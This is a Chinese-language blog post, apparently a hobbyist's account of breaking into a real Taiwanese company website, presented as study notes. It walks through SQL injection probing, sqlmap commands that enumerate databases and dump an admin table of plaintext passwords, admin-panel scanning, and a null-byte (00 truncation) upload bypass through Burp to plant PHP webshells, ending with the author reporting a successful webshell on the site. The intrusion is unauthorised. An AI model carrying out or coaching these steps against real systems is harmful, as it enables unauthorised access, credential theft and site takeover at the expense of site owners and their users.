前言
直接上实战,原理在下面会简单介绍,有需要详细教程的到这里下载:
https://download.csdn.net/download/u013819875/10503430
首先声明我也只是一个网络爱好者,菜鸟水平(不过php,sql都是学过,有一些基础的),写这篇文章权当学习笔记,操作过程需要的基础知识如下,当然想学好sql注入,以下知识也是必学:
1.sql语句
2.php对数据库的操作
3.sqlmap的基本使用
4.00截断上传
正文
拿到了一个台湾网站,如下(链接就不给了,防止某些人恶意破坏,毕竟我也是正义的小白)
然后点击进入任意一篇文章,链接就像这样http://www.xxxxxx.com/news_detail.php?newsno=118
然后在网址后分别加上 and 1=1 和 and 1=2,
http://www.xxxxxx.com/news_detail.php?newsno=118 and 1=1
http://www.xxxxxx.com/news_detail.php?newsno=118 and 1=2
分别显示如下
加上and 1=2页面加载不正常,可见这里存在sql注入漏洞
为什么后面加上and 1=2会导致页面加载不正常? 看到网址中php?=xxx, ?号后面的字符串是作为参数通过get方式提交到服务器的,而提交到服务器之后就会执行sql语句在数据库中查询数据,查询到了就显示,所以.php?newsno=118就显示了编号为118的文章,但是后面加上and 1=2呢就相当于附加了条件,而1=2又不成立,所以查不到任何文章。
接下来再继续手工注入的话,可以用联合查找union select 猜猜字段数,再来还可以猜表名,当然最终目的是猜出管理员的账号密码,这里就不继续了,太慢也太麻烦,想知道手工注入细节的去上面下载我上传的学习指南。
下面祭出sqlmap(我是在kali linux环境下),
第一条指令,监测是否存在sql注入漏洞
sqlmap -u http://www.xxx.com/news_detail.php?newsno=118
如果确定了存在sql漏洞,那么接下来也会有询问,都输入y确定就是
最后输出信息如下,可以看到服务器上php,apache,mysql等的版本信息
下一步猜数据库名称
sqlmap -u http://www.xxx.com/news_detail.php?newsno=118 --dbs
得到一个数据库名:workshop
接下来猜workshop中的表名
sqlmap -u http://www.xxx.com/news_detail.php?newsno=118 -D workshop --tables
这里输入y
这是询问是否用默认字典,直接按enter
这是线程数,根据自己机器性能来,就默认吧,直接按enter
发现猜到三个表名了,其中有admin,猜想账号密码应该就在里面,所以这里按ctrl+c停止猜解,最后得到三个表名
然后猜解admin表中的列
sqlmap -u http://www.xxx.com/news_detail.php?newsno=118 -D workshop -T admin --columns --dump
依旧询问字典和线程那些,同上就行
最后得到数据,见名知意,pwd是密码,admin是管理员账号,这里的密码甚至没有用md5加密,直接是明文,解密都省了
接下来上御剑扫描后台地址
登录成功之后
接下来就找上传点,看到有个新增文章,里面一般有上传图片的地方,点进去,发现没有上传图片.......
那就点新增著作,这下就有了
限制只能上传图片格式,那么这里试试00截断上传(00截断我后面会专门写篇博客,在这里就简单展示下过程)
先把浏览器代理到brupsite中的地址
接下来修改一下asp小马的文件名(记住打开显示后缀名)
然后确定burpsite打开了拦截,就可以上传小马了
然后看到burpsite拦截到了数据包,转到16进制(Hex)页面,把中间空格的20修改成截断字符的00
然后点intercept is on关闭拦截,让修改后的数据包发送到服务器
然后我们来查看图片的地址
最后访问发现,这个网站不支持asp,后来我又用php马上传,但是这个网站禁止了在图片上传目录中访问php文件,没有办法,我水平也就到此为止了
最后留下提醒就撤退吧(希望所有学网络安全的都是正义之士)
--------------------------------------------------
晚上的更新,所以说,做事一定要细心!!!
(发给另一位大佬测试,发现他都拿到shell了)于是我刚才去测试了另一个上传目录,发现成功了,php小马,php大马马上来一套,成功拿到webshell
所以说,做事一定要细心!!!